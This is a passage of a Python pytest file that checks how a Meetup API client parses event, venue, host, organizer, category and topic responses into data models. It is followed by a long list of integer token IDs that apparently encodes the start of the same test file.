event_2.fee_description == event_2_response["fee"]["description"] assert event_2.fee_label == event_2_response["fee"]["label"] assert event_2.how_to_find_us == event_2_response["how_to_find_us"] assert event_2.status == event_2_response["status"] assert event_2.updated == datetime.fromtimestamp(event_2_response["updated"] / 1000) assert event_2.utc_offset == event_2_response["utc_offset"] / 1000 # venue assert event_2.venue_visibility == event_2_response["venue_visibility"] assert event_2.visibility == event_2_response["visibility"] # check when event already exists with pytest.raises(EventAlreadyExists): get_event_from_response(response=event_1_response, group=group_1) # check when with invalid response with pytest.raises(InvalidResponse): del event_1_response["id"] get_event_from_response(response=event_1_response, group=group_1) def test_get_venue_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_venue_1") ) # set event response event_1_response: dict = get_event_response(meetup_id="1", content=False) # set venue response venue_1_response: dict = get_venue_response(content=False) venue_2_response: dict = get_venue_response(content=True) venue_3_response: dict = get_venue_response( content=True, lat=37.387474060058594, lon=-122.05754089355469 ) # get event model event_1: Event = get_event_from_response(response=event_1_response, group=group_1) # get venue_1 from repsonse event_2: Event = get_venue_from_response(response=venue_1_response, event=event_1) # assert event_2 assert isinstance(event_2, Event) assert event_2.venue_address_1 is None assert event_2.venue_address_2 is None assert event_2.venue_address_3 is None assert event_2.venue_city is None assert event_2.venue_country is None assert event_2.venue_localized_country_name is None assert event_2.venue_name is None assert event_2.venue_phone is None assert event_2.venue_zip_code is None assert event_2.venue_location is None # get venue_2 from repsonse event_3: Event = get_venue_from_response(response=venue_2_response, event=event_1) # assert event_3 assert isinstance(event_3, Event) assert event_3.venue_address_1 == venue_2_response["address_1"] assert event_3.venue_address_2 == venue_2_response["address_2"] assert event_3.venue_address_3 == venue_2_response["address_3"] assert event_3.venue_city == venue_2_response["city"] assert event_3.venue_country == venue_2_response["country"] assert ( event_3.venue_localized_country_name == venue_2_response["localized_country_name"] ) assert event_3.venue_name == venue_2_response["name"] assert event_3.venue_phone == venue_2_response["phone"] assert event_3.venue_zip_code == venue_2_response["zip_code"] assert event_3.venue_location == { "lat": venue_2_response["lat"], "lon": venue_2_response["lon"], } # get venue_3 from repsonse event_4: Event = get_venue_from_response(response=venue_3_response, event=event_1) # assert event_3 assert isinstance(event_4, Event) assert event_4.venue_location == { "lat": venue_3_response["lat"], "lon": venue_3_response["lon"], } # save group group_1.save() def test_get_event_host_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_event_host_1") ) # set event response event_1_response: dict = get_event_response(meetup_id="1", content=False) # set event_host response event_host_1_response: dict = get_event_host_response(content=False) event_host_2_response: dict = get_event_host_response(content=True) # get event model event_1: Event = get_event_from_response(response=event_1_response, group=group_1) # get event_host_2 from repsonse event_2: Event = get_event_host_from_response( response=event_host_1_response, event=event_1 ) # assert event_2 assert isinstance(event_2, Event) assert event_2.event_host_host_count is None assert event_2.event_host_id is None assert event_2.event_host_intro is None assert event_2.event_host_join_date is None assert event_2.event_host_name is None # get event_host_3 from repsonse event_3: Event = get_event_host_from_response( response=event_host_2_response, event=event_1 ) # assert event_3 assert isinstance(event_3, Event) assert event_3.event_host_host_count == event_host_2_response["host_count"] assert event_3.event_host_id == event_host_2_response["id"] assert event_3.event_host_intro == event_host_2_response["intro"] assert ( time.mktime(event_3.event_host_join_date.timetuple()) == event_host_2_response["join_date"] / 1000 ) assert event_3.event_host_name == event_host_2_response["name"] # save group group_1.save() def test_get_group_organizer_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_organizer_1") ) # set organizer response organizer_1_response: dict = get_member_response(content=False) organizer_2_response: dict = get_member_response(content=True) # get organizer from repsonse group_2: Group = get_group_organizer_from_response( response=organizer_1_response, group=group_1 ) # assert group assert isinstance(group_2, Group) assert group_2.organizer_id == organizer_2_response["id"] assert group_2.organizer_name is None assert group_2.organizer_bio is None # get organizer from repsonse group_3: Group = get_group_organizer_from_response( response=organizer_2_response, group=group_1 ) # assert group assert isinstance(group_3, Group) assert group_3.organizer_id == organizer_2_response["id"] assert group_3.organizer_name == organizer_2_response["name"] assert group_3.organizer_bio == organizer_2_response["bio"] # save group group_1.save() def test_get_category_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_category_1") ) # set category response category_1_response: dict = get_category_response(content=False) category_2_response: dict = get_category_response(content=True) # get category from repsonse group_2: Group = get_category_from_response( response=category_1_response, group=group_1 ) # assert group assert isinstance(group_2, Group) assert group_2.category_id == category_1_response["id"] assert group_2.category_name is None assert group_2.category_shortname is None assert group_2.category_sort_name is None # get category from repsonse group_3: Group = get_category_from_response( response=category_2_response, group=group_1 ) # assert group assert isinstance(group_3, Group) assert group_3.category_id == category_2_response["id"] assert group_3.category_name == category_2_response["name"] assert group_3.category_shortname == category_2_response["shortname"] assert group_3.category_sort_name == category_2_response["sort_name"] # save groups group_1.save() group_2.save() group_3.save() def test_get_meta_category_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_meta_category_1") ) # set meta_category response meta_category_1_response: dict = get_meta_category_response() # get meta_category from repsonse group_2: Event = get_meta_category_from_response( response=meta_category_1_response, group=group_1 ) # assert group assert isinstance(group_2, Group) assert group_2.meta_category_id == meta_category_1_response["id"] assert group_2.meta_category_name == meta_category_1_response["name"] assert group_2.meta_category_shortname == meta_category_1_response["shortname"] assert group_2.meta_category_sort_name == meta_category_1_response["sort_name"] # save group group_1.save() def test_get_topic_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_topic_1") ) # set topic response topic_1_response: dict = get_topic_response(meetup_id=1) # get topic from repsonse topic_1: Topic = get_topic_from_response(response=topic_1_response) # assert topic assert isinstance(topic_1, Topic) assert topic_1.meetup_id == topic_1_response["id"] assert topic_1.lang == topic_1_response["lang"] assert topic_1.name == topic_1_response["name"] assert topic_1.urlkey == topic_1_response["urlkey"] # save group group_1.save()
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 931, 13, 3166, 12865, 1053, 12865, 13, 3166, 931, 1053, 8709, 13, 13, 5215, 11451, 1688, 13, 13, 3166, 5870, 786, 29918, 4478, 29889, 1004, 300, 786, 29918, 2754, 29918, 4645, 29889, 11739, 29879, 1053, 313, 13, 1678, 6864, 2499, 2040, 24217, 29892, 13, 1678, 21403, 5103, 29892, 13, 29897, 13, 3166, 5870, 786, 29918, 4478, 29889, 1004, 300, 786, 29918, 2754, 29918, 4645, 29889, 3126, 29918, 16680, 1053, 313, 13, 1678, 679, 29918, 7320, 29918, 3166, 29918, 5327, 29892, 13, 1678, 679, 29918, 3696, 29918, 3166, 29918, 5327, 29892, 13, 1678, 679, 29918, 3696, 29918, 3069, 29918, 3166, 29918, 5327, 29892, 13, 1678, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29892, 13, 1678, 679, 29918, 2972, 29918, 6388, 3950, 29918, 3166, 29918, 5327, 29892, 13, 1678, 679, 29918, 7299, 29918, 7320, 29918, 3166, 29918, 5327, 29892, 13, 1678, 679, 29918, 13010, 29918, 3166, 29918, 5327, 29892, 13, 1678, 679, 29918, 9947, 29918, 3166, 29918, 5327, 29892, 13, 29897, 13, 3166, 5870, 786, 29918, 4478, 29889, 9794, 29889, 2972, 1053, 6864, 29892, 6431, 29892, 7488, 293, 13, 3166, 6987, 29889, 1004, 300, 786, 29918, 2754, 29918, 17482, 29918, 5327, 1053, 313, 13, 1678, 679, 29918, 7320, 29918, 5327, 29892, 13, 1678, 679, 29918, 3696, 29918, 3069, 29918, 5327, 29892, 13, 1678, 679, 29918, 3696, 29918, 5327, 29892, 13, 1678, 679, 29918, 2972, 29918, 5327, 29892, 13, 1678, 679, 29918, 14242, 29918, 5327, 29892, 13, 1678, 679, 29918, 7299, 29918, 7320, 29918, 5327, 29892, 13, 1678, 679, 29918, 13010, 29918, 5327, 29892, 13, 1678, 679, 29918, 9947, 29918, 5327, 29892, 13, 29897, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 2972, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 2933, 13, 1678, 2318, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 2972, 29918, 5327, 29898, 13, 4706, 5870, 786, 29918, 333, 29922, 29896, 29892, 3142, 978, 543, 2972, 29918, 29896, 613, 2793, 29922, 8824, 13, 1678, 1723, 13, 1678, 2318, 29918, 29906, 29918, 5327, 29901, 9657, 353, 679, 29918, 2972, 29918, 5327, 29898, 13, 4706, 5870, 786, 29918, 333, 29922, 29906, 29892, 3142, 978, 543, 2972, 29918, 29906, 613, 2793, 29922, 5574, 13, 1678, 1723, 13, 13, 1678, 396, 679, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 2972, 29918, 29896, 29918, 5327, 29897, 13, 1678, 2318, 29918, 29906, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 2972, 29918, 29906, 29918, 5327, 29897, 13, 13, 1678, 396, 4974, 2318, 29918, 29896, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29896, 29892, 6431, 29897, 13, 1678, 4974, 2318, 29918, 29896, 29889, 1004, 300, 786, 29918, 333, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 2271, 978, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 2271, 978, 3108, 13, 1678, 4974, 313, 13, 4706, 931, 29889, 29885, 1193, 603, 29898, 2972, 29918, 29896, 29889, 11600, 29889, 9346, 24120, 552, 3101, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 11600, 3108, 847, 29871, 29896, 29900, 29900, 29900, 13, 1678, 1723, 13, 1678, 4974, 2318, 29918, 29896, 29889, 8216, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 8216, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 5479, 1275, 426, 13, 4706, 376, 5066, 1115, 2318, 29918, 29896, 29918, 5327, 3366, 5066, 12436, 13, 4706, 376, 12957, 1115, 2318, 29918, 29896, 29918, 5327, 3366, 12957, 12436, 13, 1678, 500, 13, 1678, 4974, 2318, 29918, 29896, 29889, 2324, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 2324, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 28109, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 28109, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 978, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 11522, 3381, 29918, 16044, 519, 338, 7700, 13, 1678, 4974, 2318, 29918, 29896, 29889, 4882, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 4882, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 2230, 8028, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 2230, 8028, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 28814, 1275, 2318, 29918, 29896, 29918, 5327, 3366, 28814, 3108, 13, 1678, 4974, 2318, 29918, 29896, 29889, 12759, 29918, 2324, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 20466, 2763, 29918, 4906, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 12690, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 12690, 29918, 2324, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 348, 3286, 29880, 630, 29918, 12690, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 13509, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 2997, 1891, 29918, 13509, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 2997, 1891, 29918, 5479, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 3859, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7122, 29918, 8513, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 1725, 29872, 29918, 6768, 29918, 21962, 15942, 29918, 401, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 1725, 29872, 29918, 6768, 29918, 21962, 15942, 29918, 4381, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 1725, 29872, 29918, 6768, 29918, 1853, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 14242, 29918, 13400, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 15970, 338, 6213, 13, 13, 1678, 396, 7663, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7320, 29918, 333, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7320, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7320, 29918, 12759, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7320, 29918, 6605, 29918, 978, 338, 6213, 13, 13, 1678, 396, 12700, 29918, 7320, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7299, 29918, 7320, 29918, 333, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7299, 29918, 7320, 29918, 12759, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7299, 29918, 7320, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 7299, 29918, 7320, 29918, 6605, 29918, 978, 338, 6213, 13, 13, 1678, 396, 23820, 13, 1678, 4974, 7431, 29898, 2972, 29918, 29896, 29889, 3332, 1199, 29897, 1275, 29871, 29900, 13, 13, 1678, 396, 2894, 3950, 13, 1678, 4974, 2318, 29918, 29896, 29889, 6388, 3950, 29918, 333, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 6388, 3950, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29896, 29889, 6388, 3950, 29918, 24840, 338, 6213, 13, 13, 1678, 396, 4974, 2318, 29918, 29906, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29906, 29892, 6431, 29897, 13, 1678, 4974, 2318, 29918, 29906, 29889, 1004, 300, 786, 29918, 333, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 2271, 978, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 2271, 978, 3108, 13, 1678, 4974, 313, 13, 4706, 931, 29889, 29885, 1193, 603, 29898, 2972, 29918, 29906, 29889, 11600, 29889, 9346, 24120, 552, 3101, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 11600, 3108, 847, 29871, 29896, 29900, 29900, 29900, 13, 1678, 1723, 13, 1678, 4974, 2318, 29918, 29906, 29889, 8216, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 8216, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 5479, 1275, 426, 13, 4706, 376, 5066, 1115, 2318, 29918, 29906, 29918, 5327, 3366, 5066, 12436, 13, 4706, 376, 12957, 1115, 2318, 29918, 29906, 29918, 5327, 3366, 12957, 12436, 13, 1678, 500, 13, 1678, 4974, 2318, 29918, 29906, 29889, 2324, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 2324, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 28109, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 28109, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 978, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 11522, 3381, 29918, 16044, 519, 338, 5852, 13, 1678, 4974, 2318, 29918, 29906, 29889, 4882, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 4882, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 2230, 8028, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 2230, 8028, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 28814, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 28814, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 12759, 29918, 2324, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 12759, 29918, 2324, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 20466, 2763, 29918, 4906, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 20466, 2763, 29918, 4906, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 12690, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 12690, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 12690, 29918, 2324, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 12690, 29918, 2324, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 348, 3286, 29880, 630, 29918, 12690, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 348, 3286, 29880, 630, 29918, 12690, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 13509, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 13509, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 2997, 1891, 29918, 13509, 29918, 978, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 2997, 1891, 29918, 13509, 29918, 978, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 2997, 1891, 29918, 5479, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 2997, 1891, 29918, 5479, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 3859, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 3859, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7122, 29918, 8513, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 7122, 29918, 8513, 3108, 13, 1678, 4974, 313, 13, 4706, 2318, 29918, 29906, 29889, 1725, 29872, 29918, 6768, 29918, 21962, 15942, 29918, 401, 13, 4706, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 29918, 6768, 3108, 3366, 21962, 15942, 3108, 3366, 401, 3108, 13, 1678, 1723, 13, 1678, 4974, 313, 13, 4706, 2318, 29918, 29906, 29889, 1725, 29872, 29918, 6768, 29918, 21962, 15942, 29918, 4381, 13, 4706, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 29918, 6768, 3108, 3366, 21962, 15942, 3108, 3366, 4381, 3108, 13, 1678, 1723, 13, 1678, 4974, 2318, 29918, 29906, 29889, 1725, 29872, 29918, 6768, 29918, 1853, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 29918, 6768, 3108, 3366, 1853, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 14242, 29918, 13400, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 14242, 29918, 13400, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 15970, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 15970, 3108, 13, 13, 1678, 396, 7663, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 333, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 7320, 3108, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 12759, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7320, 29918, 6605, 29918, 978, 338, 6213, 13, 13, 1678, 396, 12700, 29918, 7320, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 333, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 7299, 29918, 7320, 3108, 3366, 333, 3108, 13, 1678, 4974, 313, 13, 4706, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 12759, 978, 13, 4706, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 7299, 29918, 7320, 3108, 3366, 12759, 978, 3108, 13, 1678, 1723, 13, 1678, 4974, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 978, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 7299, 29918, 7320, 3108, 3366, 978, 3108, 13, 1678, 4974, 313, 13, 4706, 2318, 29918, 29906, 29889, 7299, 29918, 7320, 29918, 6605, 29918, 978, 13, 4706, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 7299, 29918, 7320, 3108, 3366, 6605, 29918, 978, 3108, 13, 1678, 1723, 13, 13, 1678, 396, 23820, 13, 1678, 4974, 7431, 29898, 2972, 29918, 29906, 29889, 3332, 1199, 29897, 1275, 29871, 29896, 13, 1678, 4974, 338, 8758, 29898, 2972, 29918, 29906, 29889, 3332, 1199, 29961, 29900, 1402, 7488, 293, 29897, 13, 13, 1678, 396, 2894, 3950, 13, 1678, 4974, 2318, 29918, 29906, 29889, 6388, 3950, 29918, 333, 1275, 2318, 29918, 29906, 29918, 5327, 3366, 6388, 3950, 3108, 3366, 333, 3108, 13, 1678, 4974, 2318, 29918, 29906, 29889, 6388, 3950, 29918, 978, 338, 6213, 13, 1678, 4974, 2318, 29918, 29906, 29889, 6388, 3950, 29918, 24840, 338, 6213, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 3696, 29918, 3166, 29918, 5327, 7295, 13, 1678, 396, 731, 2318, 1904, 13, 1678, 2318, 29918, 29896, 29901, 6431, 353, 679, 29918, 2972, 29918, 3166, 29918, 5327, 29898, 13, 4706, 2933, 29922, 657, 29918, 2972, 29918, 5327, 29898, 2271, 978, 543, 2972, 29918, 3696, 29918, 29896, 1159, 13, 1678, 1723, 13, 13, 1678, 396, 731, 1741, 2933, 13, 1678, 1741, 29918, 29896, 29918, 5327, 29901, 9657, 353, 679, 29918, 3696, 29918, 5327, 29898, 1004, 300, 786, 29918, 333, 543, 29896, 613, 2793, 29922, 8824, 29897, 13, 1678, 1741, 29918, 29906, 29918, 5327, 29901, 9657, 353, 679, 29918, 3696, 29918, 5327, 29898, 1004, 300, 786, 29918, 333, 543, 29906, 613, 2793, 29922, 5574, 29897, 13, 13, 1678, 396, 679, 1741, 1904, 13, 1678, 1741, 29918, 29896, 29901, 6864, 353, 679, 29918, 3696, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 3696, 29918, 29896, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 29897, 13, 1678, 1741, 29918, 29906, 29901, 6864, 353, 679, 29918, 3696, 29918, 3166, 29918, 5327, 29898, 5327, 29922, 3696, 29918, 29906, 29918, 5327, 29892, 2318, 29922, 2972, 29918, 29896, 29897, 13, 13, 1678, 396, 4974, 1741, 29918, 29896, 13, 1678, 4974, 338, 8758, 29898, 3696, 29918, 29896, 29892, 6864, 29897, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1004, 300, 786, 29918, 333, 1275, 1741, 29918, 29896, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 1741, 29918, 29896, 29889, 2230, 1275, 12865, 29889, 3166, 16394, 29898, 3696, 29918, 29896, 29918, 5327, 3366, 2230, 3108, 847, 29871, 29896, 29900, 29900, 29900, 29897, 13, 1678, 4974, 1741, 29918, 29896, 29889, 11600, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 978, 1275, 1741, 29918, 29896, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 1741, 29918, 29896, 29889, 2324, 1275, 1741, 29918, 29896, 29918, 5327, 3366, 2324, 3108, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1131, 21642, 29918, 2798, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1131, 21642, 29918, 11249, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 8606, 311, 29872, 29918, 11249, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1256, 29918, 262, 29918, 13757, 29918, 11037, 338, 7700, 13, 1678, 4974, 1741, 29918, 29896, 29889, 8216, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 8216, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 19708, 338, 6213, 13, 1678, 396, 1741, 29918, 23525, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1725, 29872, 29918, 16044, 29879, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1725, 29872, 29918, 14506, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1725, 29872, 29918, 26095, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1725, 29872, 29918, 8216, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 1725, 29872, 29918, 1643, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 3525, 29918, 517, 29918, 2886, 29918, 375, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 4882, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 21402, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 329, 29883, 29918, 10289, 338, 6213, 13, 1678, 396, 6003, 434, 13, 1678, 4974, 1741, 29918, 29896, 29889, 9947, 29918, 28814, 338, 6213, 13, 1678, 4974, 1741, 29918, 29896, 29889, 28814, 338, 6213, 13, 13, 1678, 396, 4078, 2318, 13, 1678, 2318, 29918, 29896, 29889, 1202, 29918, 3696, 29898, 3696, 29918, 29896, 29897, 13, 1678, 2318, 29918, 29896, 29889, 1202, 29918, 3696, 29898, 3696, 29918, 29906, 29897, 13, 1678, 2318, 29918, 29896, 29889, 7620, 580, 13, 1678, 8709, 29898, 29896, 29897, 13, 13, 1678, 396, 4974, 1741, 29918, 29906, 13, 1678, 4974, 338, 8758, 29898, 3696, 29918, 29906, 29892, 6864, 29897, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1004, 300, 786, 29918, 333, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 333, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 2230, 1275, 12865, 29889, 3166, 16394, 29898, 3696, 29918, 29906, 29918, 5327, 3366, 2230, 3108, 847, 29871, 29896, 29900, 29900, 29900, 29897, 13, 1678, 4974, 1741, 29918, 29906, 29889, 11600, 1275, 12865, 29889, 3166, 16394, 29898, 3696, 29918, 29906, 29918, 5327, 3366, 11600, 3108, 847, 29871, 29896, 29900, 29900, 29900, 29897, 13, 1678, 4974, 1741, 29918, 29906, 29889, 978, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 978, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 2324, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 2324, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1131, 21642, 29918, 2798, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1131, 21642, 29918, 2798, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1131, 21642, 29918, 11249, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1131, 21642, 29918, 11249, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 8606, 311, 29872, 29918, 11249, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 8606, 311, 29872, 29918, 11249, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1256, 29918, 262, 29918, 13757, 29918, 11037, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1256, 29918, 262, 29918, 13757, 29918, 11037, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 8216, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 8216, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 8216, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 8216, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 19708, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 19708, 3108, 13, 1678, 396, 1741, 29918, 23525, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1725, 29872, 29918, 16044, 29879, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 3108, 3366, 16044, 29879, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1725, 29872, 29918, 14506, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 3108, 3366, 14506, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1725, 29872, 29918, 26095, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 3108, 3366, 26095, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1725, 29872, 29918, 8216, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 3108, 3366, 8216, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 1725, 29872, 29918, 1643, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 1725, 29872, 3108, 3366, 1643, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 3525, 29918, 517, 29918, 2886, 29918, 375, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 3525, 29918, 517, 29918, 2886, 29918, 375, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 4882, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 4882, 3108, 13, 1678, 4974, 1741, 29918, 29906, 29889, 21402, 1275, 12865, 29889, 3166, 16394, 29898, 3696, 29918, 29906, 29918, 5327, 3366, 21402, 3108, 847, 29871, 29896, 29900, 29900, 29900, 29897, 13, 1678, 4974, 1741, 29918, 29906, 29889, 329, 29883, 29918, 10289, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 329, 29883, 29918, 10289, 3108, 847, 29871, 29896, 29900, 29900, 29900, 13, 1678, 396, 6003, 434, 13, 1678, 4974, 1741, 29918, 29906, 29889, 9947, 29918, 28814, 1275, 1741, 29918, 29906, 29918, 5327, 3366, 9947, 29918, 28814, 3108, 